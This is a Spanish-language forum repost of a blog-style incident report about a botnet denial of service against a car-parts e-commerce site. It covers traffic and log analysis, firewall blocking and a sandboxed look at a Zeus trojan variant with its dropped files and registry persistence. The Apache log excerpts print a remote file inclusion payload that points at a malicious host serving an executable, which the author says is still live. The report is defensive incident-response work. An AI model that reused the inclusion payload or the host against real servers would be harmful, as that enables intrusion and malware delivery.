Voy a comentar algo que nos puede suceder a todos, una denegación de servicio.
El caso es el siguiente, empresa suministradora de productos de recambios de automóvil, tiene un servicio web (en PHP) de seguimiento de pedidos y comercio electrónico. Desde hace un tiempo parece que el servicio que prestan se degrada, haciendo imposible el acceso a la web.
Viernes 4 de Junio (15:30h)
El servidor web empieza a ir excesivamente lento, parece que va mal la aplicación web. Los informáticos restablecen el servicio.
Lunes 7 de Junio
Parece que el servidor no muestra el contenido de su web o parece que tarda en exceso en servir las páginas, parece que está caido. Tras comprobar que la máquina está bien, se ve que contiene multiples instancias del servidor web apache. Tras reiniciarlo al momento vuelve a tener problemas de carga. Esto se mantiene prácticamente durante todo el día.
Martes 8 de Junio
8:30h .- El servidor sigue sin señales de vida, se precisa con urgencia que el servidor este activo, dado que la mayoria de los pedidos se realiza por comercio electrónico. Gran tensión en el departamento comercial y de compras. Se llega a la conclusión que desconectando el cable de red (el de internet) la aplicación funciona correctamente en localhost
9:30h.- Analizamos lo sucedido:
Aplicación a medida de comercio electrónico en PHP con LAMP, todo monitorizado con Nagios y Awstats.
Empezamos con lo que me dan, analizando las estadisiticas. Podemos ver que efectivamente hay un considerable aumento
Mas cuando nos indican que el pico más alto de visitas es de unos 300 diarios, en el peor de los casos.
Si vemos la memoria de la máquina comprobamos que esta algo saturada
Y si vemos el tráfico de red, ni que decir tiene
Es decir, parece que además del número excesivo de conexiones, hay algo desbocado.
10:00h.- Conseguimos hacer un netstat a la máquina y esta devuelve la sorprendente lista de más de 75.000 conexiones al servidor web, tras direccionarlo a fichero (mas comodo para trabajar) vemos que la mayoria de direcciones viene del rango 222.73.68.X y que la ip 222.73.68.23 es la que más conexiones activas tiene. Tiene pinta de una botnet
Si lo intentamos Geolocalizar vemos que casi todas y especialmente estas son de China
Vamos a grabar el tráfico de red, utilizando TCPDUMP, para posteriormente análizar el mismo.
10:10h.- Vemos el log de apache, esto es importante, despues de un buen rato me choca las líneas que se repiten, especialmente esta:
222.73.68.23/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.24/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.99/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
Abro mi máquina virtual y desde el navegador introduzco la URL que me redirecciona al dominio 'asf.wdn.com', que ha su vez me regala un caramelito que más tarde será objeto de estudio
NOTA: Cuidadin que está todavia activa y te descarga algo
10:11h.- Cerramos en el cortafuegos todo el rango posible de la red 222. El servidor empieza a tener mejorias y el servicio se restablece.
10:20h.- Se decide por parte de los responsables cerrar el mayor rango posible de IP's de Asia.
11:00h.- Se cierra el caso y el servidor funciona perfectamente.
12:00h.- Me he llevado el EXE de la página web maliciosa y el tráfico en formato PCAP
13:20h.- Vamos a revisar el fichero del TCPDUMP con Whireshark. Tras un rato veo lo siguiente. Rh/cath/bin..Rhsswdh//pah/etc, todo apunta que además de las conexiones están mandando algo al servidor web
Tiene pinta de lo que es, un Shellcode, vamos a intentar guardar esa porción de código y proceder a su desemsablado
Y ahora que ya lo tenemos vamos a compilarlo y lanzarlo en un entorno controlado.
Bueno, pues todo apunta a un exploit remoto que en aparencia devuelve el contenido del fichero passwd.
AHORA A POR EL EJECUTABLE
Vamos a lanzar en una máquina virtual (sin actualizaciones) windows xp con IE 6.0 y corriendo Process Monitor de Sysinternals y una utilidad que me ha venido muy bien en alguna ocasión que se llama SpyMonitor y que sirve para monitorizar los cambios y ver a posteriori las diferencias.
Estos son los resultados:
Con privilegio de administrador se han creado los siguientes ficheros
%systemroot%\system32\sdra64.exe
%systemroot%\system32\lowsec
%systemroot%\system32\lowsec\user.ds
%systemroot%\system32\lowsec\user.ds.lll
%systemroot%\system32\lowsec\local.ds
Sin ser administradores:
%appdata%\sdra64.exe
%appdata%\lowsec
%appdata%\lowsec\user.ds
%appdata%\lowsec\user.ds.lll
%appdata%\lowsec\local.ds
Cambios que se han realizado en el registro:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
En la clave 'userinit'
"Userinit" = "C:\WINDOWS\system32\userinit.exe
Por esta nueva:
"Userinit" = "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\syste m32\sdra64.exe"
Sin ser administradores
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
En la clave 'userinit'
"Userinit" = "C:\Documents and Settings\%;user%;\Application Data\sdra64.exe"
Googleando y por lo que dicen en los foros, todo apunta a una variante del ya famoso troyano ZEUS y para poner la puntilla he búscado la IP atacante en Zeus Tracker. Zeus Tracker proporciona la posibilidad para realizar un seguimiento de ZeuS (servidores, paneles de control) y los host maliciosos que albergan los archivos de Zeus.
Y aquí tenemos nuestra IP Zombi
Muy, muy curioso...Seguiremos investigando
Quiero agradecer la ayuda a Eduardo Abril, que me ha ayudado en el desemsablado del shellcode
Fuente: http://conexioninversa.blogspot.com/2010/06/que-vienen-los-zombis-historia-de-una.html
Iniciado por hckr
Marcadores